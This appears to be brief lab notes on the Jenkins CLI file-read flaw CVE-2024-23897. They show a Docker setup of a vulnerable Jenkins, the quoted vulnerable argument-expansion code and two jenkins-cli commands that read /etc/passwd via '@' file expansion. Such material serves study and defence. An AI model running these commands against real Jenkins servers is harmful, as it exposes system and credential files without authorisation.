CVE-2024-23897

root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17

root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

private String[] expandAtFiles(String args[]) throws CmdLineException {
  List < String > result = new ArrayList < String > ();
  for (String arg: args) {
    if (arg.startsWith("@")) {
      File file = new File(arg.substring(1));
      if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
      try {
        result.addAll(readAllLines(file));
      } catch(IOException ex) {
        throw new CmdLineException(this, "Failed to parse " + file, ex);
      }
    } else {
      result.add(arg);
    }
  }
  return result.toArray(new String[result.size()]);
}

public class ConnectNodeCommand extends CLICommand {
  @Argument(
            metaVar = "NAME",
            usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
            required = true,
            multiValued = true
  )
  private List < String > nodes;
  //...

  @Override
  protected int run() throws Exception {
    //...
    for (String node_s: hs) {
      try {
        Computer computer = Computer.resolveForCLI(node_s);
        computer.cliConnect(force);
      } catch(Exception e) {
        //...
        final String errorMsg = node_s + ": " + e.getMessage();
        stderr.println(errorMsg);
        //...
      }
    }


    //...
  }
}

root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"